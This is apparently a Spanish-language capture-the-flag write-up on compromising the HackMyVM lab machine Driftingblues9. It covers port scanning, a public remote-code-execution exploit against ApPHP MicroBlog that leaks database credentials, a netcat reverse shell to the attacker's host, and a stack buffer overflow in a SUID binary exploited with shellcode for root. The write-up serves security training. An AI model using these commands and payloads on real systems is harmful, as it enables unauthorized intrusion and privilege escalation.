cd ~/blog

~/writeups/hmv/102-driftingblues9.md

102 - Driftingblues 9

easy Linux hmv 24-08-2025
BOFEDB-ID-33070
hackmyvm.eu/machines/machine.php?vm=Driftingblues9

~1 min de lectura


Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
192.168.1.10

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts 192.168.1.10
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-01 16:15 -0400
Nmap scan report for 192.168.1.10
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
39345/tcp open  unknown
MAC Address: 08:00:27:3D:26:97 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
 nmap -sCV -p 80,111,39345 -oN 02-targeted.txt 192.168.1.10
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-01 16:16 -0400
Nmap scan report for 192.168.1.10
Host is up (0.00051s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: ApPHP MicroBlog
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34311/tcp6  status
|   100024  1          36324/udp   status
|   100024  1          39345/tcp   status
|_  100024  1          60544/udp6  status
39345/tcp open  status  1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.22 seconds

Ingresamos al sitio y en el código fuente, descubrimos la versión de MicroBlog:

<!-- This script was generated by ApPHP MicroBlog v.1.0.1 (http://www.apphp.com/php-microblog/) -->

Buscamos vulnerabilidades conocidas:

 searchsploit microblog 1.0.1
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabilities | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Command Execution | php/webapps/33070.py

Utilizamos el exploit EDB-ID-33070 para obtener una shell:

 python2 33070.py http://192.168.1.10/index.php
  -= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable
...
[*] Fetching include/base.inc.php
<?php
			// DATABASE CONNECTION INFORMATION
			define('DATABASE_HOST', 'localhost');	       // Database host
			define('DATABASE_NAME', 'microblog');	       // Name of the database to be used
			define('DATABASE_USERNAME', 'clapton');	// User name for access to database
			define('DATABASE_PASSWORD', 'yaraklitepe');	// Password for access to database
			define('DB_ENCRYPT_KEY', 'p52plaiqb8');		// Database encryption key
			define('DB_PREFIX', 'mb101_');		   // Unique prefix of all table names in the database
			?>
[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> whoami
www-data
> nc 192.168.1.7 1234 -e /bin/bash
 ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.10:56438.
script /dev/null -c bash
www-data@debian:/var/www/html$ export TERM=xterm
www-data@debian:/var/www/html$

Utilizamos las credenciales descubiertas por el exploit, nos logueamos como el usuario clapton y obtenemos la primera flag:

www-data@debian:/var/www/html$ su clapton
Password: yaraklitepe

clapton@debian:/var/www/html$

Dentro del home del usuaio, encontramos una nota y un binario con permisos SUID:

clapton@debian:~$ cat note.txt
buffer overflow is the way. ( ͡° ͜ʖ ͡°)

if you\'re new on 32bit bof then check these:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm

clapton@debian:~$ ls -l input
-rwsr-xr-x 1 root root 5150 Sep 22  2015 input

Transferimos el bianario a nuestra máquina para analizarlo:

 nc -lvp 4444 > input
Listening on 0.0.0.0 4444
clapton@debian:~$ nc 192.168.1.7 4444 < input
 nc -lvp 4444 > input
Listening on 0.0.0.0 4444
Connection received on 192.168.1.10 55862

Analizamos el binario con ghidra:

undefined4 main(int param_1,undefined4 *param_2)

{
  char local_af [171];

  if (param_1 < 2) {
    printf("Syntax: %s <input string>\n",*param_2);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  strcpy(local_af,(char *)param_2[1]);
  return 0;
}

El script, toma un string desde línea de comandos y lo copia sin control de tamaño a una variable local.

El uso de strcpy() sobre un buffer sin validación del tamaño de entrada, introduce una vulnerabilidad crítica de buffer overflow. Si el usuario proporciona más de 170 caracteres como argumento, se sobrescribirá la memoria contigua del stack; esto puede corromper el flujo de ejecución y permitir ejecución arbitraria de código (RCE).

En primer lugar, creamos y patrón con la herramienta pattern_create.rb de metasploit, que contenga 200 caracteres:

 /opt/metasploit/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Luego utilizamos y debuggeamos con el payload, utilizando GNU gdb en la maquina víctima:

 gdb ./input
...
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/wh01s17/Documentos/workspace/OTEC-Sustantiva/01-HACKING-ÉTICO-EN-APLICATIVOS-WEB/material/maquinas/08-driftingblues9/content/input Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()

Corroboramos el offset:

 /opt/metasploit/tools/exploit/pattern_offset.rb -l 200 -q 41376641
[*] Exact match at offset 171

Miramos la salida de gdb, dónde está el buffer en memoria:

(gdb) x/40x $esp
x/40x $esp
0xbf898bf0:	0x66413866	0x30674139	0x41316741	0x67413267
...

Nos posicionamos en 0xbf898bf0 y la convertimos en formato little endian:

0xbf898bf0 -> \xf0\x8b\x89\xbf

Ya que no sabemos en que sección de memoria se cargará nuestro payload (https://www.exploit-db.com/exploits/13357), corremos lo siguiente:

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\xf0\x8b\x89\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done
...
Segmentation fault
Segmentation fault
Segmentation fault
# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados